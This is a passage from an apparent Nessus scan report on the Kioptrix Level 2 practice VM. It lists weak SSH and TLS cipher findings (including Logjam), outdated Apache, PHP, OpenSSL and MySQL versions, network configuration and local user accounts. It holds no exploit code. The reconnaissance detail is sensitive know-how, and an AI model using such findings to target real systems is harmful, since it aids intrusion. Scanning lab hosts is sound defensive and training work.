3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

1.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	32319
CVE	CVE-2008-5161
XREF	CERT:958563
XREF	CWE:200

Plugin Information

Published: 2013/10/28, Modified: 2023/10/27

Plugin Output

tcp/22/ssh

The following client-to-server Cipher Block Chaining (CBC) algorithms are supported :

```
3des-cbc
aes128-cbc
aes192-cbc
aes256-cbc
blowfish-cbc
cast128-cbc
rijndael-cbc@lysator.liu.se
```

The following server-to-client Cipher Block Chaining (CBC) algorithms are supported :

```
3des-cbc
aes128-cbc
aes192-cbc
aes256-cbc
blowfish-cbc
cast128-cbc
rijndael-cbc@lysator.liu.se
```

153953 - SSH Weak Key Exchange Algorithms Enabled**Synopsis**

The remote SSH server is configured to allow weak key exchange algorithms.

Description

The remote SSH server is configured to allow key exchange algorithms which are considered weak.

This is based on the IETF draft document Key Exchange (KEX) Method Updates and Recommendations for Secure Shell (SSH) RFC9142. Section 4 lists guidance on key exchange algorithms that SHOULD NOT and MUST NOT be enabled. This includes:

diffie-hellman-group-exchange-sha1

diffie-hellman-group1-sha1

gss-gex-sha1-*

gss-group1-sha1-*

gss-group14-sha1-*

rsa1024-sha1

Note that this plugin only checks for the options of the SSH server, and it does not check for vulnerable software versions.

See Also

<https://datatracker.ietf.org/doc/html/rfc9142>

Solution

Contact the vendor or consult product documentation to disable the weak algorithms.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2021/10/13, Modified: 2024/03/22

Plugin Output

tcp/22/ssh

The following weak key exchange algorithms are enabled :

```
diffie-hellman-group-exchange-sha1
diffie-hellman-group1-sha1
```

71049 - SSH Weak MAC Algorithms Enabled

Synopsis

The remote SSH server is configured to allow MD5 and 96-bit MAC algorithms.

Description

The remote SSH server is configured to allow either MD5 or 96-bit MAC algorithms, both of which are considered weak.

Note that this plugin only checks for the options of the SSH server, and it does not check for vulnerable software versions.

Solution

Contact the vendor or consult product documentation to disable MD5 and 96-bit MAC algorithms.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2013/11/22, Modified: 2016/12/14

Plugin Output

tcp/22/ssh

The following client-to-server Message Authentication Code (MAC) algorithms are supported :

```
hmac-md5
hmac-md5-96
hmac-sha1-96
```

The following server-to-client Message Authentication Code (MAC) algorithms are supported :

```
hmac-md5
hmac-md5-96
hmac-sha1-96
```

83875 - SSL/TLS Diffie-Hellman Modulus <= 1024 Bits (Logjam)

Synopsis

The remote host allows SSL/TLS connections with one or more Diffie-Hellman moduli less than or equal to 1024 bits.

Description

The remote host allows SSL/TLS connections with one or more Diffie-Hellman moduli less than or equal to 1024 bits. Through cryptanalysis, a third party may be able to find the shared secret in a short amount of time (depending on modulus size and attacker resources). This may allow an attacker to recover the plaintext or potentially violate the integrity of connections.

See Also

<https://weakdh.org/>

Solution

Reconfigure the service to use a unique Diffie-Hellman moduli of 2048 bits or greater.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v3.0 Temporal Score

3.2 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

1.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	74733
CVE	CVE-2015-4000
XREF	CEA-ID:CEA-2021-0004

Plugin Information

Published: 2015/05/28, Modified: 2024/09/11

Plugin Output

tcp/443/www

Vulnerable connection combinations :

```
SSL/TLS version : SSLv3
Cipher suite : TLS1_CK_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
Diffie-Hellman MODP size (bits) : 512
Logjam attack difficulty : Easy (could be carried out by individuals)
```

```
SSL/TLS version : TLSv1.0
Cipher suite : TLS1_CK_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
Diffie-Hellman MODP size (bits) : 512
Logjam attack difficulty : Easy (could be carried out by individuals)
```

83738 - SSL/TLS EXPORT_DHE <= 512-bit Export Cipher Suites Supported (Logjam)

Synopsis

The remote host supports a set of weak ciphers.

Description

The remote host supports EXPORT_DHE cipher suites with keys less than or equal to 512 bits. Through cryptanalysis, a third party can find the shared secret in a short amount of time.

A man-in-the-middle attacker may be able to downgrade the session to use EXPORT_DHE cipher suites. Thus, it is recommended to remove support for weak cipher suites.

See Also

<https://weakdh.org/>**Solution**

Reconfigure the service to remove support for EXPORT_DHE cipher suites.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v3.0 Temporal Score

3.2 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

2.2 (CVSS2#E:U/RL:ND/RC:C)

References

BID	74733
CVE	CVE-2015-4000
XREF	CEA-ID:CEA-2021-0004

Plugin Information

Published: 2015/05/21, Modified: 2022/12/05

Plugin Output

tcp/443/www

EXPORT_DHE cipher suites supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP-EDH-RSA-DES-CBC-SHA	0x00, 0x14	DH(512)	RSA	DES-CBC(40)	SHA1
export					

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

18261 - Apache Banner Linux Distribution Disclosure**Synopsis**

The name of the Linux distribution running on the remote host was found in the banner of the web server.

Description

Nessus was able to extract the banner of the Apache web server and determine which Linux distribution the remote host is running.

Solution

If you do not wish to display this information, edit 'httpd.conf' and set the directive 'ServerTokens Prod' and restart Apache.

Risk Factor

None

Plugin Information

Published: 2005/05/15, Modified: 2025/03/31

Plugin Output

tcp/0

The Linux distribution detected was :
- CentOS 4

48204 - Apache HTTP Server Version

Synopsis

It is possible to obtain the version number of the remote Apache HTTP server.

Description

The remote host is running the Apache HTTP Server, an open source web server. It was possible to read the version number from the banner.

See Also

<https://httpd.apache.org/>

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0030
XREF IAVT:0001-T-0530

Plugin Information

Published: 2010/07/30, Modified: 2023/08/17

Plugin Output

tcp/80/www

URL : http://10.136.108.237/
Version : 2.999.999
Source : Server: Apache/2.0.52 (CentOS)
backported : 1
os : ConvertedCentOS

48204 - Apache HTTP Server Version

Synopsis

It is possible to obtain the version number of the remote Apache HTTP server.

Description

The remote host is running the Apache HTTP Server, an open source web server. It was possible to read the version number from the banner.

See Also

<https://httpd.apache.org/>

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0030
XREF IAVT:0001-T-0530

Plugin Information

Published: 2010/07/30, Modified: 2023/08/17

Plugin Output

tcp/443/www

```
URL : https://10.136.108.237/
Version : 2.999.999
Source : Server: Apache/2.0.52 (CentOS)
backported : 1
os : ConvertedCentOS
```

39520 - Backported Security Patch Detection (SSH)

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote SSH server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/22/ssh

Local checks have been enabled.

39521 - Backported Security Patch Detection (WWW)

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote HTTP server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/80/www

Local checks have been enabled.

39521 - Backported Security Patch Detection (WWW)

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote HTTP server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/443/www

Local checks have been enabled.

45590 - Common Platform Enumeration (CPE)

Synopsis

It was possible to enumerate CPE names that matched on the remote system.

Description

By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.

Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.

See Also

<http://cpe.mitre.org/>
<https://nvd.nist.gov/products/cpe>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/04/21, Modified: 2025/07/14

Plugin Output

tcp/0

The remote operating system matched the following CPE :

cpe:/o:centos:centos:4.5:~~final~~i686~ -> CentOS

Following application CPE's matched on the remote system :

cpe:/a:apache:http_server:2.0.52 -> Apache Software Foundation Apache HTTP Server
cpe:/a:apache:http_server:2.999.999 -> Apache Software Foundation Apache HTTP Server
cpe:/a:haxx:curl:7.12.1 -> Haxx Curl
cpe:/a:mysql:mysql -> MySQL MySQL
cpe:/a:mysql:mysql:4.1.22-2 -> MySQL MySQL
cpe:/a:openbsd:openssh:3.9p1 -> OpenBSD OpenSSH
cpe:/a:openssl:openssl:0.9.7a -> OpenSSL Project OpenSSL
cpe:/a:php:php:4.3.9 -> PHP PHP
cpe:/a:sqlite:sqlite:3.3.6 -> SQLite

182774 - Curl Installed (Linux / Unix)**Synopsis**

Curl is installed on the remote Linux / Unix host.

Description

Curl (also known as curl and cURL) is installed on the remote Linux / Unix host.

Additional information:

- More paths will be searched and the timeout for the search will be increased if 'Perform thorough tests' setting is enabled.
- The plugin timeout can be set to a custom value other than the plugin's default of 30 minutes via the 'timeout.182774' scanner setting in Nessus 8.15.1 or later.

Please see <https://docs.tenable.com/nessus/Content/SettingsAdvanced.htm#Custom> for more information.

See Also

<https://curl.se/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/10/09, Modified: 2025/07/28

Plugin Output

tcp/0

Nessus detected 2 installs of Curl:

Path : curl-7.12.1-11.el4 (via package manager)
Version : 7.12.1
Managed by OS : True

Path : curl-devel-7.12.1-11.el4 (via package manager)
Version : 7.12.1
Managed by OS : True

55472 - Device Hostname**Synopsis**

It was possible to determine the remote system hostname.

Description

This plugin reports a device's hostname collected via SSH or WMI.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/06/30, Modified: 2025/07/28

Plugin Output

tcp/0

```
Hostname : kioptrix.level2
kioptrix.level2 (hostname command)
```

54615 - Device Type**Synopsis**

It is possible to guess the remote device type.

Description

Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/05/23, Modified: 2025/03/12

Plugin Output

tcp/0

```
Remote device type : general-purpose
Confidence level : 100
```

19689 - Embedded Web Server Detection**Synopsis**

The remote web server is embedded.

Description

The remote web server cannot host user-supplied CGIs. CGI scanning will be disabled on this server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/09/14, Modified: 2019/11/22

Plugin Output

tcp/631/www

25203 - Enumerate IPv4 Interfaces via SSH

Synopsis

Nessus was able to enumerate the IPv4 interfaces on the remote host.

Description

Nessus was able to enumerate the network interfaces configured with IPv4 addresses by connecting to the remote host via SSH using the supplied credentials.

Solution

Disable any unused IPv4 interfaces.

Risk Factor

None

Plugin Information

Published: 2007/05/11, Modified: 2025/04/28

Plugin Output

tcp/0

The following IPv4 addresses are set on the remote host :

- 10.136.108.237 (on interface eth0)
- 127.0.0.1 (on interface lo)

25202 - Enumerate IPv6 Interfaces via SSH**Synopsis**

Nessus was able to enumerate the IPv6 interfaces on the remote host.

Description

Nessus was able to enumerate the network interfaces configured with IPv6 addresses by connecting to the remote host via SSH using the supplied credentials.

Solution

Disable IPv6 if you are not actually using it. Otherwise, disable any unused IPv6 interfaces.

Risk Factor

None

Plugin Information

Published: 2007/05/11, Modified: 2025/04/28

Plugin Output

tcp/0

The following IPv6 interfaces are set on the remote host :

- 2409:40c0:5f:f7ef:20c:29ff:fe53:194c (on interface eth0)
- fe80::20c:29ff:fe53:194c (on interface eth0)
- ::1 (on interface lo)

33276 - Enumerate MAC Addresses via SSH**Synopsis**

Nessus was able to enumerate MAC addresses on the remote host.

Description

Nessus was able to enumerate MAC addresses by connecting to the remote host via SSH with the supplied credentials.

Solution

Disable any unused interfaces.

Risk Factor

None

Plugin Information

Published: 2008/06/30, Modified: 2022/12/20

Plugin Output

tcp/0

The following MAC address exists on the remote host :

- 00:0C:29:53:19:4C (interface eth0)

170170 - Enumerate the Network Interface configuration via SSH**Synopsis**

Nessus was able to parse the Network Interface data on the remote host.

Description

Nessus was able to parse the Network Interface data on the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/01/19, Modified: 2025/02/11

Plugin Output

tcp/0

```
sit0:  
lo:  
IPv4:  
- Address : 127.0.0.1  
Netmask : 255.0.0.0  
IPv6:  
- Address : ::1  
Prefixlen : 128  
Scope : host  
eth0:  
MAC : 00:0c:29:53:19:4c  
IPv4:  
- Address : 10.136.108.237  
Netmask : 255.255.255.0  
Broadcast : 10.136.108.255  
IPv6:  
- Address : 2409:40c0:5f:f7ef:20c:29ff:fe53:194c  
Prefixlen : 64  
Scope : global  
- Address : fe80::20c:29ff:fe53:194c  
Prefixlen : 64  
Scope : link
```

179200 - Enumerate the Network Routing configuration via SSH**Synopsis**

Nessus was able to retrieve network routing information from the remote host.

Description

Nessus was able to retrieve network routing information the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/08/02, Modified: 2023/08/02

Plugin Output

tcp/0

```
Gateway Routes:  
eth0:  
ipv4_gateways:  
10.136.108.228:  
subnets:  
- 0.0.0.0/0  
ipv6_gateways:  
fe80::4a2:97ff:fea8:6a88:  
subnets:  
- ::/0  
Interface Routes:  
eth0:  
ipv4_subnets:  
- 10.136.108.0/24  
ipv6_subnets:  
- 2409:40c0:5f:f7ef::/64  
- fe80::/64  
- ff00::/8
```

168980 - Enumerate the PATH Variables**Synopsis**

Enumerates the PATH variable of the current scan user.

Description

Enumerates the PATH variables of the current scan user.

Solution

Ensure that directories listed here are in line with corporate policy.

Risk Factor

None

Plugin Information

Published: 2022/12/21, Modified: 2025/07/28

Plugin Output

tcp/0

Nessus has enumerated the path of the current scan user :

```
/usr/kerberos/sbin  
/usr/kerberos/bin  
/usr/local/sbin  
/usr/local/bin  
/sbin  
/bin  
/usr/sbin  
/usr/bin
```

35716 - Ethernet Card Manufacturer Detection**Synopsis**

The manufacturer can be identified from the Ethernet OUI.

Description

Each ethernet MAC address starts with a 24-bit Organizationally Unique Identifier (OUI). These OUs are registered by IEEE.

See Also

<https://standards.ieee.org/faqs/regauth.html>
<http://www.nessus.org/u?794673b4>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/02/19, Modified: 2020/05/13

Plugin Output

tcp/0

The following card manufacturers were identified :

00:0C:29:53:19:4C : VMware, Inc.

86420 - Ethernet MAC Addresses**Synopsis**

This plugin gathers MAC addresses from various sources and consolidates them into a list.

Description

This plugin gathers MAC addresses discovered from both remote probing of the host (e.g. SNMP and Netbios) and from running local checks (e.g. ifconfig). It then consolidates the MAC addresses into a single, unique, and uniform list.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2015/10/16, Modified: 2025/06/10

Plugin Output

tcp/0

The following is a consolidated list of detected MAC addresses:

- 00:0C:29:53:19:4C

84502 - HSTS Missing From HTTPS Server**Synopsis**

The remote web server is not enforcing HSTS.

Description

The remote HTTPS server is not enforcing HTTP Strict Transport Security (HSTS). HSTS is an optional response header that can be configured on the server to instruct the browser to only communicate via HTTPS. The lack of HSTS allows downgrade attacks, SSL-stripping man-in-the-middle attacks, and weakens cookie-hijacking protections.

See Also

<https://tools.ietf.org/html/rfc6797>

Solution

Configure the remote web server to use HSTS.

Risk Factor

None

Plugin Information

Published: 2015/07/02, Modified: 2024/08/09

Plugin Output

tcp/443/www

```
HTTP/1.1 200 OK
Date: Wed, 12 Nov 2025 15:58:32 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.9
Content-Length: 667
Connection: close
Content-Type: text/html; charset=UTF-8
```

The remote HTTPS server does not send the HTTP "Strict-Transport-Security" header.

43111 - HTTP Methods Allowed (per directory)

Synopsis

This plugin determines which HTTP methods are allowed on various CGI directories.

Description

By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.

The following HTTP methods are considered insecure:

PUT, DELETE, CONNECT, TRACE, HEAD

Many frameworks and languages treat 'HEAD' as a 'GET' request, albeit one without any body in the response. If a security constraint was set on 'GET' requests such that only 'authenticatedUsers' could access GET requests for a particular servlet or resource, it would be bypassed for the 'HEAD' version. This allowed unauthorized blind submission of any privileged GET request.

As this list may be incomplete, the plugin also tests - if 'Thorough tests' are enabled or 'Enable web applications tests' is set to 'yes' in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.

Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.

See Also

<http://www.nessus.org/u?d9c03a9a>
<http://www.nessus.org/u?b019cbdb>
[https://www.owasp.org/index.php/Test_HTTP_Methods_\(OTG-CONFIG-006\)](https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006))

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/12/10, Modified: 2022/04/11

Plugin Output

tcp/631/www

Based on the response to an OPTIONS request :

- HTTP methods HEAD OPTIONS POST PUT GET are allowed on :

/

10107 - HTTP Server Type and Version

Synopsis

A web server is running on the remote host.

Description

This plugin attempts to determine the type and the version of the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0931

Plugin Information

Published: 2000/01/04, Modified: 2020/10/30

Plugin Output

tcp/80/www

The remote web server type is :

Apache/2.0.52 (CentOS)

10107 - HTTP Server Type and Version**Synopsis**

A web server is running on the remote host.

Description

This plugin attempts to determine the type and the version of the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0931

Plugin Information

Published: 2000/01/04, Modified: 2020/10/30

Plugin Output

tcp/443/www

The remote web server type is :

Apache/2.0.52 (CentOS)

10107 - HTTP Server Type and Version**Synopsis**

A web server is running on the remote host.

Description

This plugin attempts to determine the type and the version of the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0931

Plugin Information

Published: 2000/01/04, Modified: 2020/10/30

Plugin Output

tcp/631/www

The remote web server type is :

CUPS/1.1

24260 - HyperText Transfer Protocol (HTTP) Information**Synopsis**

Some information about the remote HTTP configuration can be extracted.

Description

This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive is enabled, etc...

This test is informational only and does not denote any security problem.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/01/30, Modified: 2024/02/26

Plugin Output

tcp/80/www

Response Code : HTTP/1.1 200 OK

Protocol version : HTTP/1.1
HTTP/2 TLS Support: No
HTTP/2 Cleartext Support: No
SSL : no
Keep-Alive : no
Options allowed : GET,HEAD,POST,OPTIONS,TRACE
Headers :

Date: Wed, 12 Nov 2025 15:58:59 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.9
Content-Length: 667
Connection: close
Content-Type: text/html; charset=UTF-8

Response Body :

```
<html>
<body>
<form method="post" name="frmLogin" id="frmLogin" action="index.php">
<table width="300" border="1" align="center" cellpadding="2" cellspacing="2">
<tr>
<td colspan='2' align='center'>
<b>Remote System Administration Login</b>
</td>
</tr>
<tr>
<td width="150">Username</td>
<td><input name="uname" type="text"></td>
</tr>
<tr>
<td width="150">Password</td>
<td>
<input name="psw" type="password">
</td>
</tr>
<tr>
<td colspan="2" align="center">
<input type="submit" name="btnLogin" value="Login">
</td>
</tr>
</table>
</form>

<!-- Start of HTML when logged in as Administator -->
</body>
</html>
```

24260 - HyperText Transfer Protocol (HTTP) Information**Synopsis**

Some information about the remote HTTP configuration can be extracted.

Description

This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive is enabled, etc...

This test is informational only and does not denote any security problem.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/01/30, Modified: 2024/02/26

Plugin Output

tcp/443/www

Response Code : HTTP/1.1 200 OK

```
Protocol version : HTTP/1.1
HTTP/2 TLS Support: No
HTTP/2 Cleartext Support: No
SSL : yes
Keep-Alive : no
Options allowed : GET,HEAD,POST,OPTIONS,TRACE
Headers :
```

```
Date: Wed, 12 Nov 2025 15:59:00 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.9
Content-Length: 667
Connection: close
Content-Type: text/html; charset=UTF-8
```

Response Body :

```
<html>
<body>
<form method="post" name="frmLogin" id="frmLogin" action="index.php">
<table width="300" border="1" align="center" cellpadding="2" cellspacing="2">
<tr>
<td colspan='2' align='center'>
<b>Remote System Administration Login</b>
</td>
</tr>
<tr>
<td width="150">Username</td>
<td><input name="uname" type="text"></td>
</tr>
<tr>
<td width="150">Password</td>
<td>
<input name="psw" type="password">
</td>
</tr>
<tr>
<td colspan="2" align="center">
<input type="submit" name="btnLogin" value="Login">
</td>
</tr>
</table>
</form>

<!-- Start of HTML when logged in as Administator -->
</body>
</html>
```

171410 - IP Assignment Method Detection**Synopsis**

Enumerates the IP address assignment method(static/dynamic).

Description

Enumerates the IP address assignment method(static/dynamic).

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/02/14, Modified: 2025/07/28

Plugin Output

tcp/0

```
+ lo
+ IPv4
- Address : 127.0.0.1
Assign Method : static
+ IPv6
- Address : ::1
Assign Method : static
+ eth0
+ IPv4
- Address : 10.136.108.237
Assign Method : static
+ IPv6
- Address : 2409:40c0:5f:f7ef:20c:29ff:fe53:194c
Assign Method : dynamic
- Address : fe80::20c:29ff:fe53:194c
Assign Method : static
+ sit0
```

157358 - Linux Mounted Devices**Synopsis**

Use system commands to obtain the list of mounted devices on the target machine at scan time.

Description

Report the mounted devices information on the target machine at scan time using the following commands.

/bin/df -h /bin/lsblk /bin/mount -l

This plugin only reports on the tools available on the system and omits any tool that did not return information when the command was ran.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2022/02/03, Modified: 2023/11/27

Plugin Output

tcp/0

```
$ df -h
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/VolGroup00-LogVol00
3.3G 1.5G 1.7G 47% /
/dev/hda1 99M 9.3M 85M 10% /boot
none 62M 0 62M 0% /dev/shm

$ mount -l
/dev/mapper/VolGroup00-LogVol00 on / type ext3 (rw) []
none on /proc type proc (rw)
none on /sys type sysfs (rw)
none on /dev/pts type devpts (rw,gid=5,mode=620)
/dev/hda1 on /boot type ext3 (rw) [/boot]
none on /dev/shm type tmpfs (rw)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)
sunrpc on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw)
```

193143 - Linux Time Zone Information**Synopsis**

Nessus was able to collect and report time zone information from the remote host.

Description

Nessus was able to collect time zone information from the remote Linux host.

Solution

None

Risk Factor

None

Plugin Information

Published: 2024/04/10, Modified: 2024/04/10

Plugin Output

tcp/0

Via date: EST -0500

95928 - Linux User List Enumeration**Synopsis**

Nessus was able to enumerate local users and groups on the remote Linux host.

Description

Using the supplied credentials, Nessus was able to enumerate the local users and groups on the remote Linux host.

Solution

None

Risk Factor

None

Plugin Information

Published: 2016/12/19, Modified: 2025/03/26

Plugin Output

tcp/0

-----[User Accounts]-----

```
User : john
Home folder : /home/john
Start script : /bin/bash
Groups : root
john
```

```
User : harold
Home folder : /home/harold
Start script : /bin/bash
Groups : harold
```

-----[System Accounts]-----

```
User : root
Home folder : /root
Start script : /bin/bash
Groups : sys
wheel
disk
root
adm
daemon
bin
```

```
User : bin
```

User : daemon
Home folder : /bin
Start script : /sbin/nologin
Groups : sys
daemon
bin

User : daemon
Home folder : /sbin
Start script : /sbin/nologin
Groups : lp
adm
daemon
bin

User : adm
Home folder : /var/adm
Start script : /sbin/nologin
Groups : sys
adm

User : lp
Home folder : /var/spool/lpd
Start script : /sbin/nologin
Groups : lp

User : sync
Home folder : /sbin
Start script : /bin/sync
Groups : root

User : shutdown
Home folder : /sbin
Start script : /sbin/shutdown
Groups : root

User : halt
Home folder : /sbin
Start script : /sbin/halt
Groups : root

User : mail
Home folder : /var/spool/mail
Start script : /sbin/nologin
Groups : mail

User : news
Home folder : /etc/news
Start script :
Groups : news

User : uucp
Home folder : /var/spool/uucp
Start script : /sbin/nologin
Groups : uucp

User : operator
Home folder : /root
Start script : /sbin/nologin
Groups : root

User : games
Home folder : /usr/games
Start script : /sbin/nologin
Groups : users

User : gopher
Home folder : /var/gopher
Start script : /sbin/nologin
Groups : gopher

User : ftp
Home folder : /var/ftp
Start script : /sbin/nologin
Groups : ftp

User : nobody
Home folder : /
Start script : /sbin/nologin
Groups : nobody

User : dbus
Home folder : /
Start script : /sbin/nologin
Groups : dbus

User : vcса
Home folder : /dev
Start script : /sbin/nologin
Groups : vcса

User : rpm
Home folder : /var/lib/rpm
Start script : /sbin/nologin
Groups : rpm

User : haldaemon
Home folder : /
Start script : /sbin/nologin
Groups : haldaemon

```
User : netdump
Home folder : /var/crash
Start script : /bin/bash
Groups : netdump

User : nscd
Home folder : /
Start script : /sbin/nologin
Groups : nscd

User : sshd
Home folder : /var/empty/sshd
Start script : /sbin/nologin
Groups : sshd

User : rpc
Home folder : /
Start script : /sbin/nologin
Groups : rpc

User : mailnull
Home folder : /var/spool/mqueue
Start script : /sbin/nologin
Groups : mailnull

User : smmsp
Home folder : /var/spool/mqueue
Start script : /sbin/nologin
Groups : smmsp

User : rpcuser
Home folder : /var/lib/nfs
Start script : /sbin/nologin
Groups : rpcuser

User : nfsnobody
Home folder : /var/lib/nfs
Start script : /sbin/nologin
Groups : nfsnobody

User : pcap
Home folder : /var/arpwatch
Start script : /sbin/nologin
Groups : pcap

User : apache
Home folder : /var/www
Start script : /sbin/nologin
Groups : apache

User : squid
Home folder : /var/spool/squid
Start script : /sbin/nologin
Groups : squid

User : webalizer
Home folder : /var/www/usage
Start script : /sbin/nologin
Groups : webalizer

User : xfs
Home folder : /etc/X11/fs
Start script : /sbin/nologin
Groups : xfs

User : ntp
Home folder : /etc/ntp
Start script : /sbin/nologin
Groups : ntp

User : pegasus
Home folder : /var/lib/Pegasus
Start script : /sbin/nologin
Groups : pegasus

User : mysql
Home folder : /var/lib/mysql
Start script : /bin/bash
Groups : mysql
```

-----[Domain Accounts]-----

10719 - MySQL Server Detection

Synopsis

A database server is listening on the remote port.

Description

The remote host is running MySQL, an open source database server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0802

Plugin Information

Published: 2001/08/13, Modified: 2022/10/12

Plugin Output

tcp/3306/mysql

The remote database access is restricted and configured to reject access from unauthorized IPs. Therefore it was not possible to extract its version number.

129468 - MySQL Server Installed (Linux)**Synopsis**

MySQL Server is installed on the remote Linux host.

Description

MySQL Server is installed on the remote Linux host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2019/09/30, Modified: 2025/04/18

Plugin Output

tcp/0

Path : /usr/sbin/mysqld
Version : 4.1.22-2

19506 - Nessus Scan Information**Synopsis**

This plugin displays information about the Nessus scan.

Description

This plugin displays, for each tested host, information about the scan itself:

- The version of the plugin set.
- The type of scanner (Nessus or Nessus Home).
- The version of the Nessus Engine.
- The port scanner(s) used.
- The port range scanned.
- The ping round trip time
- Whether credentialed or third-party patch management checks are possible.
- Whether the display of superseded patches is enabled
- The date of the scan.
- The duration of the scan.
- The number of hosts scanned in parallel.
- The number of checks done in parallel.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/08/26, Modified: 2025/06/25

Plugin Output

tcp/0

Information about this scan :

Nessus version : 10.9.3
Nessus build : 20023
Plugin feed version : 202508200628
Scanner edition used : Nessus

ERROR: Your plugins have not been updated since 2025/8/20
Performing a scan with an older plugin set will yield out-of-date results and
produce an incomplete audit. Please run nessus-update-plugins to get the
newest vulnerability checks from Nessus.org.

Scanner OS : LINUX
Scanner distribution : ubuntu1604-x86-64
Scan type : Normal
Scan name : Kioptrix - 2
Scan policy used : Advanced Scan
Scanner IP : 10.136.108.33
Port scanner(s) : netstat
Port range : 65535
Ping RTT : 136.015 ms
Thorough tests : no
Experimental tests : no
Scan for Unpatched Vulnerabilities : no
Plugin debugging enabled : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : yes, as 'root' via ssh
Attempt Least Privilege : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin did not launch)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 100
Max checks : 5
Recv timeout : 5
Backports : Detected
Allow post-scan editing : Yes
Nessus Plugin Signature Checking : Enabled
Audit File Signature Checking : Disabled
Scan Start Date : 2025/11/12 18:06 UTC
Scan duration : 968 sec
Scan for malware : no

64582 - Netstat Connection Information**Synopsis**

Nessus was able to parse the results of the 'netstat' command on the remote host.

Description

The remote host has listening ports or established connections that Nessus was able to extract from the results of the 'netstat' command.

